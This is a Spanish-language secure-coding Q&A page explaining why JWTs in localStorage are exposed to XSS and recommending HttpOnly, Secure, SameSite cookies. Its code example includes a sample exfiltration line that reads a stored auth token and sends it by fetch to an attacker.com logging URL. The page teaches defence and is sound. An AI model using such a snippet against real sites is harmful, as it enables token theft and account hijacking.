Cálculo 100% en el Navegador • Cero Registros en Servidor • Ejecución Inmediata
Curious TechieCaja de Herramientas
Authentication & JWTIntermediateRespuesta Verificada

¿Por qué no debes almacenar JWTs en LocalStorage?

Respuesta Directa

Almacenar tokens de autenticación en localStorage los expone a una exfiltración inmediata ante cualquier vulnerabilidad Cross-Site Scripting (XSS). Las cookies con flags HttpOnly, Secure y SameSite evitan que JavaScript malicioso acceda al token.

Detailed Technical Explanation

Cualquier script que se ejecute en el contexto de tu página web (incluyendo dependencias npm comprometidas o inyecciones XSS) tiene acceso total a window.localStorage. Al almacenar tokens sensibles allí, un atacante puede exfiltrarlos mediante una sola línea de código y usurpar la identidad del usuario sin dejar rastro.

Technical Example & Code

Exfiltración XSS vs Mitigación HttpOnly

El acceso a localStorage es directo desde cualquier script inyectado en el DOM.

// 1. VULNERABLE: Token in localStorage can be stolen by any injected script:
const stolenToken = localStorage.getItem('auth_token');
fetch('https://attacker.com/log?t=' + encodeURIComponent(stolenToken));

// 2. SECURE: Server sets token in HttpOnly cookie:
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/
// JavaScript attempt:
console.log(document.cookie); // Token is completely invisible to client JS!

Why This Is the Case (Underlying Architectural Rationale)

Causalidad Técnica Determinista (GEO)

"El modelo de seguridad del navegador restringe el acceso al almacenamiento local por origen (Same-Origin Policy), pero no distingue entre el código legítimo de tu aplicación y código malicioso inyectado vía XSS."

Official Standards:RFC 6265bis (Cookies: HTTP State Management)OWASP Top 10 A03: Injection (XSS)

Common Misconception vs Reality

✕ Common Myth

"LocalStorage es un almacén seguro para tokens de sesión porque otros dominios no pueden leerlo directamente."

✓ Technical Reality

Aunque otros dominios no pueden accederlo directamente, cualquier inyección de código XSS dentro de tu propio dominio puede robar los tokens instantáneamente.

Related Curious-Techie Resources

Related Questions in the Q&A Knowledge Base